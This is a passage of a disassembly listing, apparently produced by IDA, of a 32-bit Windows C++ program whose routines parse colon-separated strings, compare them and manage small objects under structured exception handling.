		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40192E
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413C40	proc near		; CODE XREF: sub_401181j

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_4		= byte ptr  8
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_413C40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+48h+arg_18]
		xor	ebx, ebx
		cmp	ebp, ebx
		mov	[esp+48h+var_4], ebx
		jz	loc_413D89
		lea	ecx, [esp+48h+arg_0]
		call	sub_4017EE
		test	eax, eax
		jz	loc_413D89
		push	esi
		push	edi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	ebx
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jz	loc_413D63
		add	ebp, 54h


loc_413CC0:				; CODE XREF: sub_413C40+11Dj
		push	15h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	dword ptr [esp+4Ch+var_3C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+4Ch], 2
		jz	short loc_413CE0
		mov	ecx, eax
		call	sub_401F4B
		jmp	short loc_413CE2
; ---------------------------------------------------------------------------


loc_413CE0:				; CODE XREF: sub_413C40+95j
		xor	eax, eax


loc_413CE2:				; CODE XREF: sub_413C40+9Ej
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016B8
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40202C
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_401488
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413CC0


loc_413D63:				; CODE XREF: sub_413C40+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413D89:				; CODE XREF: sub_413C40+26j
					; sub_413C40+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413C40	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E10	proc near		; CODE XREF: sub_401F4Bj
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_413E10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413E30:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401870
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413E70	proc near		; CODE XREF: sub_4018ACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413E70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_401CE4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_41405E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_402130
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41405E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_41405E
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413F57
		lea	ecx, [edi+2Ah]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017EE


loc_413F26:				; CODE XREF: sub_413E70+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413F4A
		cmp	cl, bl
		jz	short loc_413F46
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413F4A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F26


loc_413F46:				; CODE XREF: sub_413E70+C0j
		xor	eax, eax
		jmp	short loc_413F4F
; ---------------------------------------------------------------------------


loc_413F4A:				; CODE XREF: sub_413E70+BCj
					; sub_413E70+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413F4F:				; CODE XREF: sub_413E70+D8j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413F57:				; CODE XREF: sub_413E70+A1j
		push	offset byte_448F30
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413FB3
		lea	ecx, [edi+3Fh]
		call	sub_4017EE
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017EE


loc_413F82:				; CODE XREF: sub_413E70+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413FA6
		cmp	cl, bl
		jz	short loc_413FA2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413FA6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413F82


loc_413FA2:				; CODE XREF: sub_413E70+11Cj
		xor	eax, eax
		jmp	short loc_413FAB
; ---------------------------------------------------------------------------


loc_413FA6:				; CODE XREF: sub_413E70+118j
					; sub_413E70+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413FAB:				; CODE XREF: sub_413E70+134j
		cmp	eax, ebx
		jnz	loc_41405E


loc_413FB3:				; CODE XREF: sub_413E70+FAj
		push	58h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413FD3
		mov	ecx, eax
		call	sub_401D1B
		jmp	short loc_413FD5
; ---------------------------------------------------------------------------


loc_413FD3:				; CODE XREF: sub_413E70+158j
		xor	eax, eax


loc_413FD5:				; CODE XREF: sub_413E70+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40202C
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40202C
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401410
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4140AB
; ---------------------------------------------------------------------------


loc_41405E:				; CODE XREF: sub_413E70+44j
					; sub_413E70+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4140AB:				; CODE XREF: sub_413E70+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413E70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414160	proc near		; CODE XREF: sub_401D1Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414160
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414160	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4141F0:				; CODE XREF: ___:00401DD9j
		push	0FFFFFFFFh
		push	offset loc_43AF10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_4018AC
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4142E0	proc near		; CODE XREF: sub_401541j
		add	ecx, 6Ch
		jmp	sub_401C76
sub_4142E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414300	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414300
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_437AEA
sub_414300	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414343
		mov	ecx, eax
		call	sub_401BF4
; ---------------------------------------------------------------------------
		jmp	short loc_414345
; ---------------------------------------------------------------------------


loc_414343:				; CODE XREF: ___:00414338j
		xor	eax, eax


loc_414345:				; CODE XREF: ___:00414341j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40202C
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40202C
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40202C
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40202C
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401F0F
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414430	proc near		; CODE XREF: sub_401BF4j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_40142E
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414430	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4144D0:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_43AFD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401870
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4145A0	proc near		; CODE XREF: sub_401DC0j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4145A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E38
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_414650


loc_414605:				; CODE XREF: sub_4145A0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41462D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41462D:				; CODE XREF: sub_4145A0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020C2
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_414605


loc_414650:				; CODE XREF: sub_4145A0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_414698
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_414673
		push	1
		call	sub_4019EC


loc_414673:				; CODE XREF: sub_4145A0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_414698:				; CODE XREF: sub_4145A0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4145A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414710	proc near		; CODE XREF: sub_4019ECj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402243
		test	[esp+4+arg_0], 1
		jz	short loc_414728
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414728:				; CODE XREF: sub_414710+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414710	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414740	proc near		; CODE XREF: sub_402243j
		jmp	sub_401226
sub_414740	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414760:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_43B020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414829


loc_4147C3:				; CODE XREF: ___:00414827j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_444C6C ; ":"
		push	esi
		push	edx
		call	sub_4016B8
		mov	ecx, ebp
		call	sub_401DC0
		cmp	al, bl
		jnz	short loc_4147F0
		mov	[esp+13h], bl


loc_4147F0:				; CODE XREF: ___:004147EAj
		inc	esi
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4147C3


loc_414829:				; CODE XREF: ___:004147C1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4148A0	proc near		; CODE XREF: sub_40212Bj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4148A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	loc_4149D4
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_41497E


loc_414914:				; CODE XREF: sub_4148A0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B86
		test	eax, eax
		jz	short loc_41494C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41495B


loc_41494C:				; CODE XREF: sub_4148A0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41495B:				; CODE XREF: sub_4148A0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414914


loc_41497E:				; CODE XREF: sub_4148A0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_4149D4
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_40214E
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4149A1
		push	1
		call	sub_401708


loc_4149A1:				; CODE XREF: sub_4148A0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_4149D4:				; CODE XREF: sub_4148A0+2Ej
					; sub_4148A0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4148A0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414A70	proc near		; CODE XREF: sub_401708j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A6E
		test	[esp+4+arg_0], 1
		jz	short loc_414A88
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414A88:				; CODE XREF: sub_414A70+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414A70	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414AA0	proc near		; CODE XREF: sub_401A6Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414AA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414B30:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_43B098
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401870
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40212B
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414BC0:				; CODE XREF: ___:00401B45j
		push	0FFFFFFFFh
		push	offset loc_43B0B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_414CC7
